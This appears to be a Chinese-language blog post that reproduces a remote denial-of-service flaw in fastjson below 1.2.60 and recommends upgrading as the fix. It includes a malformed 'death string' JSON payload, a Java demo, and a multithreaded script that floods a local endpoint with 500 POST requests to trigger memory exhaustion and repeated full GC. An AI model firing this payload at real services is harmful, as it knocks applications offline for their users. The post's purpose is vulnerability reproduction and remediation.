fastjson低於1.2.60的遠程拒絕服務漏洞

漏洞描述

首先，看一下阿里官方迴應，傳送門

重現漏洞

看看Github上1.2.60版本修復漏洞後的測試用例，即可發現造成這一漏洞的死亡字符串 {“a”:"\x
下面我們在demo和真實環境中，重現“死亡字符串”的導致的bug：

1、簡單Demo

    public static void main(String[] args) {
        try {
            String DEATH_STRING = "{\"a\":\"\\x";
            Object obj = JSON.parse(DEATH_STRING);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

引發的異常：大小GC+OOM異常

2、應用中重現

我們的應用使用了SpringMvc框架，然後mvc:message-converters中MessageConverter設置爲了使用FastJson 的com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter，對字符串進行JSON的序列化和反序列化，所以可以直接通過POST請求模擬出此漏洞。

1. 使用HttpClient，開啓多線程，對一個接口調用500次

    private static void testMutiThread() {
        ExecutorService threadPool = Executors.newFixedThreadPool(8);
        String url = "http://localhost:8080/pool/getBaseLogById";
        String DEATH_STRING = "{\"id\":\"10143\\x";

        for (int i = 0; i < 500; i++) {
            threadPool.submit(() -> {
                String result = HttpClientUtil.doPost(url, DEATH_STRING, HttpClientUtil.CONTENT_TYPE_JSON);
                System.out.println("響應報文爲：" + result);
            });
        }
    }

2. 使用Java VisualVM工具觀察內存使用情況和GC情況
   3. 使用jstat命令觀察GC情況
   在500次調用還未完成之前，full gc的次數就已經來到了460次左右。
   
   假如發生在線上，攻擊者持續的攻擊，那麼內存的飆升、瘋狂的Full GC、cpu的耗盡，最終會導致你的應用無法在正常提供服務。

解決漏洞

將應用中的FastJson升級到1.2.60後，“死亡字符串”由於不符合標準json格式，便會在轉換中直接拋出異常。
FastJson-1.2.60中修復的具體內容：傳送門

升級至1.2.60後，再繼續對應用進行“使用HttpClient，開啓多線程，對一個接口調用500次”，內存和GC情況如下：
其中3次Full GC和7次Young GC是在壓測之前就存在的，相當於壓測只產生了1次Young GC，屬正常反應。